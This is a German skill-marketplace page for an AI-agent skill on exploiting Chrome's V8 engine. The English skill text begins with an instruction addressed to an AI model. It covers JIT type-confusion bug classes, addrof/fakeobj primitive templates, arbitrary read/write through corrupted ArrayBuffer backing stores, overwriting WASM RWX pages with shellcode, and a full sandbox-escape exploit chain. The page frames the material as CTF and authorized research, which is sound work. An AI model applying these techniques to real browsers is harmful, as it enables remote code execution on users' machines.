Option
HeimHeim Skill Browser-Automatisierung browser-exploitation-v8

browser-exploitation-v8

yaklang/hack-skills yaklang/hack-skills

Leitfaden zur Ausnutzung von Browser- und V8-Schwachstellen. Zur Ausnutzung von Schwachstellen in der JavaScript-Engine, darunter JIT-Typverwechslung, fehlerhafte Bounds-Eliminierung und Umgehung der V8-Sandbox, um RCE im Renderer und einen Sandbox-Escape in Chrome/Chromium zu erreichen.

...Alle erweitern
17
Zeit aktualisiert 25. August 2026

Über browser-exploitation-v8

Ein Leitfaden für Sicherheitstests zum Ausnutzen von Schwachstellen in der JavaScript-Engine von Googles V8 (Chrome/Chromium). Es beschreibt die V8-Kompilierungspipeline – der Quellcode wird zu einem AST geparst, als Ignition-Bytecode interpretiert und anschließend schrittweise durch Sparkplug, Maglev und den TurboFan-Optimierungs-JIT optimiert, wobei bei fehlgeschlagener Spekulation eine Deoptimierung zurück zum Bytecode erfolgt. Auch grundlegende interne Mechanismen werden dokumentiert: getaggte Zeiger (SMIs und Heap-Objekte), Zeigerkomprimierung, bei der Objekte über einen 32-Bit-Offset von einer Cage-Basis innerhalb eines 4-GB-Bereichs adressiert werden, Maps (versteckte Klassen), Elementtypen, die Schreibbarriere und der Orinoco-Garbage-Collector.

Der Großteil des Materials listet häufige Fehlerklassen und die Primitive auf, mit denen diese ausgenutzt werden können. Zu den Fehlerklassen gehören JIT-Typverwechslungen, die fehlerhafte Eliminierung von Bereichsprüfungen, Verwechslungen in der Prototypenkette, TurboFan-Reduktions- und Typer-Fehler, Race-Conditions bei SharedArrayBuffer sowie „Off-by-One“-Fehler in Builtins. Ausgehend von einem Speicherbeschädigungsfehler werden die klassischen Primitive „addrof“ und „fakeobj“ aufgebaut (durch Verwechslung von Objekt-Element- und Double-Element-Arrays), eskaliert auf beliebiges Lesen/Schreiben über einen beschädigten Float64Array- oder ArrayBuffer-Backing-Store und behandelt den Zugriff außerhalb der Grenzen durch verwechselte Array-Grenzen und WASM-RWX-Seiten.

Verwenden Sie es, wenn Sie Renderer-RCE- und Sandbox-Escape-Ketten in einer kontrollierten, autorisierten Umgebung untersuchen oder reproduzieren möchten. Es wird erläutert, wie man die JIT-Optimierung erzwingen kann (durch häufigen Aufruf einer Funktion oder die Intrinsic-Funktion %OptimizeFunctionOnNextCall in d8) und wie die V8-Sandbox und die Zeigerkomprimierung die Ausnutzung einschränken, da Zeiger auf den Backing-Store innerhalb der Sandbox bleiben und ein separater Sandbox-Escape erforderlich ist, um vollen Zugriff auf den Prozessspeicher zu erhalten. Verwandte Links führen zu Sandbox-Escape-Techniken, Heap-Exploitation, Stack-Overflow-und-ROP sowie Binary-Protection-Bypass, mit einem tiefergehenden Verweis auf „V8_EXPLOITATION_PATTERNS.md“.

FAQ

Welche V8-Fehlerklassen deckt das Playbook ab?

JIT-Typverwechslungen, fehlerhafte Eliminierung von Bereichsprüfungen, Prototyp-Ketten-Verwechslungen, TurboFan-Reduktion und Typfehler, SharedArrayBuffer-Wettlaufbedingungen sowie „Off-by-one“-Fehler in integrierten Funktionen.

Welche zentralen Exploit-Primitiven werden beschrieben?

„addrof“ (Adressleck eines Objekts) und „fakeobj“ (Erzeugung einer Objektreferenz), die durch Verwechslung von Objekt- und Double-Element-Arrays erzeugt und anschließend über einen beschädigten Float64Array- oder ArrayBuffer-Backing-Store zu beliebigen Lese-/Schreibzugriffen kombiniert werden.

Wie wirken sich die V8-Sandbox und die Zeigerkomprimierung auf die Ausnutzung aus?

Da Objekte in V8 8.0 über einen 32-Bit-Offset von einer Cage-Basis innerhalb eines 4-GB-Bereichs adressiert werden und ArrayBuffer-Backing-Stores Sandbox-Zeiger sind, erfordert der Zugriff auf den gesamten Prozessspeicher einen separaten Sandbox-Escape.

Wie erzwingt man, dass eine Funktion zu Testzwecken JIT-optimiert wird?

Rufen Sie sie mehrmals auf (zum Beispiel 100.000 Iterationen), um TurboFan auszulösen, oder verwenden Sie in der d8-Shell vor dem Aufruf die Intrinsic-Funktion %OptimizeFunctionOnNextCall.

Auf welche verwandten Fähigkeiten bezieht sich dies?

Sandbox-Escape-Techniken (IPC/Mojo-Renderer-Escape), Heap-Ausnutzung, Stack-Overflow-und-ROP sowie Umgehung des Binärschutzes, dazu eine fortgeschrittene Referenz in „V8_EXPLOITATION_PATTERNS.md“ für detaillierte Vorlagen.

Alle Dateien

2DateienV8_EXPLOITATION_PATTERNS.md8,9KBDen Inhalt anzeigenSKILL.md11,5 KBDen Inhalt anzeigen
Auf GitHub ansehen

AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

0. RELATED ROUTING

  • sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
  • heap-exploitation — general heap concepts applicable to V8 heap
  • stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
  • binary-protection-bypass — ASLR/NX bypass in browser context

Advanced Reference

Load V8_EXPLOITATION_PATTERNS.md when you need:

  • Detailed exploitation patterns and code templates
  • Heap layout manipulation and GC interaction
  • V8 sandbox bypass techniques
  • Object map confusion patterns

1. V8 ARCHITECTURE

Compilation Pipeline

JavaScript Source    ↓ Parser  AST (Abstract Syntax Tree)    ↓ Ignition  Bytecode (interpreted, profiling)    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)  Baseline code (fast startup)    ↓ Maglev (mid-tier, V8 ≥ 10.2)  Mid-optimized code    ↓ TurboFan (optimizing JIT)  Optimized machine code (with speculative optimizations)    ↓ Deoptimization (if speculation fails)  Back to Ignition bytecode

Key V8 Concepts

ConceptDescription
Tagged pointersSMI (Small Integer): value << 1, HeapObject: ptr | 1
Pointer compressionV8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox)
Maps (Hidden Classes)Define object shape: property names, types, offsets
Elements kindsInternal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc.
Write barrierGC bookkeeping when heap pointers are written
Garbage collectionOrinoco GC: minor (Scavenge) and major (Mark-Compact)

Object Representation (64-bit, pointer compression)

HeapObject in V8 heap (compressed):  +0x00: Map pointer (compressed, 32-bit offset)  +0x04: Properties/Hash  +0x08: Elements pointer (compressed)  +0x0C: Length (for arrays)  +0x10: Inline properties or backing store data

2. COMMON V8 BUG CLASSES

Bug ClassDescriptionExample
JIT Type ConfusionTurboFan assumes wrong type after optimizationSpeculative type guard eliminated, wrong operation applied
Incorrect Bounds EliminationJIT removes array bounds check based on wrong range analysisCheckBounds node eliminated → OOB access
Prototype Chain ConfusionOptimization assumes stable prototype, mutations invalidatePrototype change after optimization → wrong property access
Turbofan Reduction BugIncorrect strength reduction or constant foldingInteger overflow in range analysis
Race ConditionSharedArrayBuffer + worker thread raceType confusion via concurrent modification
Off-by-one in BuiltinBoundary error in built-in function implementationString/Array bounds
Typer BugIncorrect type range computation in TurboFanTyper says value is in [0, N] but can be N+1

Triggering JIT Optimization

function vuln(arr) {    // ... vulnerable code path ...}// Force optimization by calling many timesfor (let i = 0; i < 100000; i++) {    vuln(arr);}// Or use V8 intrinsics (d8 only):%OptimizeFunctionOnNextCall(vuln);vuln(arr);

3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

// Goal: get the raw heap address of a JavaScript object// Method: type confusion between object array and float array// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:// - Write object reference to element of object array// - Read same element as double from confused float array// - Float bits = compressed pointer of the objectfunction addrof(obj) {    // Setup depends on specific bug    // Typically: trigger type confusion so array reads obj ref as float    object_array[0] = obj;    return ftoi(confused_float_array[0]);  // float-to-int conversion}

fakeobj — Create Fake Object Reference

// Goal: create a JS reference to an arbitrary heap address// Method: reverse of addrof — write float (raw pointer bits) to float array,//         read from confused object array → treated as object referencefunction fakeobj(addr) {    confused_float_array[0] = itof(addr);  // int-to-float conversion    return object_array[0];                 // now a "pointer" to addr}

Building Arbitrary R/W from addrof + fakeobj

// 1. Create a Float64Array with known layoutlet rw_array = new Float64Array(0x100);let rw_array_addr = addrof(rw_array);// 2. Fake a Float64Array object at controlled address with modified backing_store// 3. Corrupt backing_store pointer to target address// 4. Read/write through the fake Float64Array → arbitrary R/Wfunction read64(addr) {    // Set fake array's backing_store = addr    write_to_fake_backingstore(addr);    return fake_float64array[0];}function write64(addr, value) {    write_to_fake_backingstore(addr);    fake_float64array[0] = value;}

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

function trigger(arr, idx) {    // TurboFan thinks idx is always < arr.length    // But due to bug, idx can exceed bounds    return arr[idx];  // OOB read}// OOB read adjacent memory (next heap object's metadata)// OOB write to corrupt next object's map/elements/length

What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

let arr1 = new Array(0x10);    // spray objectlet arr2 = new Float64Array(0x10);  // target: adjacent to arr1// OOB from arr1 can reach arr2's metadata// Corrupt arr2's length → unconstrained OOB on arr2

5. ARRAYBUFFER ARBITRARY R/W

ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

let ab = new ArrayBuffer(0x100);let view = new DataView(ab);// If we can overwrite ab's backing_store pointer:// ab.backing_store = target_addr// view.getFloat64(0) → reads 8 bytes from target_addr// view.setFloat64(0, val) → writes to target_addr

V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):

  • ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
  • Cannot directly point outside the V8 cage
  • Need sandbox escape to get full process memory access

6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

// Allocate WASM module → JIT compiles to RWX pagelet wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);let mod = new WebAssembly.Module(wasm_code);let instance = new WebAssembly.Instance(mod);// instance.exports.func → points to RWX page// If we can find and write to this page:// 1. addrof(instance) → find WASM instance object// 2. Follow pointers: instance → jump_table_start → RWX page// 3. Use arbitrary write to overwrite RWX page with shellcode// 4. Call instance.exports.func() → executes shellcode

Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

7. V8 SANDBOX

Architecture (V8 ≥ 11.x)

Process Virtual Address Space:┌──────────────────────────────────────┐│  V8 Sandbox Cage (4GB region)        ││  ├── V8 Heap (JS objects)            ││  ├── ArrayBuffer backing stores      ││  ├── WASM memory                     ││  └── External pointer table          │├──────────────────────────────────────┤│  Process memory outside cage         ││  ├── libc, Chrome code               ││  ├── Stack                           ││  └── Other allocations               │└──────────────────────────────────────┘

Sandbox Escape Vectors

VectorMethod
External pointer tableCorrupt entries in the external pointer table to reference arbitrary addresses
WASM code pointerOverwrite WASM function entry to jump to controlled shellcode
JIT code corruptionWrite to JIT code page via race condition or confused pointer
Mojo IPC (Chrome)Exploit Chrome IPC to attack browser process from compromised renderer
Backing store seal bypassFind type confusion to get unsandboxed pointer

8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

StageTargetExample
Renderer exploitV8 / Blink DOMType confusion → shellcode
IPC/Mojo bugChrome IPC layerUse-after-free in Mojo interface
Browser process exploitPrivileged browser processCode execution outside sandbox

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

9. TOOLS

# V8 debuggingd8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)d8 --trace-turbo exploit.js           # Dump TurboFan IRd8 --print-opt-code exploit.js        # Print optimized machine code# Turbolizer: visual TurboFan IR graph# Chrome DevTools Memory panel: heap snapshots# Build V8 for debugginggit clone https://chromium.googlesource.com/v8/v8.gitgclient syncgn gen out/debug --args='is_debug=true v8_enable_sandbox=false'ninja -C out/debug d8

10. DECISION TREE

V8 vulnerability identified├── Bug type?│   ├── JIT type confusion → trigger optimization, confuse array element kinds│   ├── Bounds check elimination → OOB read/write on array│   ├── Typer bug → incorrect range leads to OOB│   └── Builtin bug → direct memory corruption primitive│├── Build primitives│   ├── Can confuse object array ↔ float array?│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap│   ├── OOB on array?│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W│   └── Direct write primitive?│       └── Target WASM instance or ArrayBuffer metadata│├── V8 sandbox enabled?│   ├── YES (modern Chrome) →│   │   ├── R/W limited to V8 cage (4GB)│   │   ├── Need sandbox escape: external pointer table corruption,│   │   │   WASM code pointer overwrite, or Mojo bug│   │   └── Then proceed to shellcode execution│   └── NO (older V8, CTF, d8) →│       ├── Corrupt ArrayBuffer backing_store → absolute R/W│       └── Overwrite WASM RWX page → shellcode│├── Code execution method│   ├── WASM RWX page available? → write shellcode, call WASM func│   ├── JIT code writable? → overwrite JIT code│   └── ROP needed? → corrupt stack or return address│└── Full browser exploit chain    ├── Stage 1: V8 bug → renderer RCE    ├── Stage 2: Mojo IPC bug → browser process compromise    └── Stage 3: OS-level escalation (if needed)

Alle Dateien

2 Dateien

browser-exploitation-v8 installieren

Laden Sie die Skill-Dateien herunter und entpacken Sie sie in Ihr Verzeichnis „.claude/skills/“.

ZIP herunterladen

Klonen Sie das Repository und kopieren Sie die Skill-Dateien in Ihr Projekt.

git clone https://github.com/yaklang/hack-skills/blob/main/skills/browser-exploitation-v8/SKILL.md # Copy SKILL.md to your .claude/skills/ directory

Kopieren Kopieren
Schnelle Einrichtung: Kopieren Sie den Skill-Ordner nach „.claude/skills/“. Claude erkennt den Skill automatisch und nutzt ihn.
Repository yaklang/hack-skills

Ähnliche Skills

playwright-cli
Zeit aktualisiert 29. Juni 2026
frontend-testing-best-practices
Zeit aktualisiert 7. Juli 2026
Playwright Browser Automation
Zeit aktualisiert 29. Juni 2026
playwright-generate-test
Zeit aktualisiert 29. Juni 2026
OR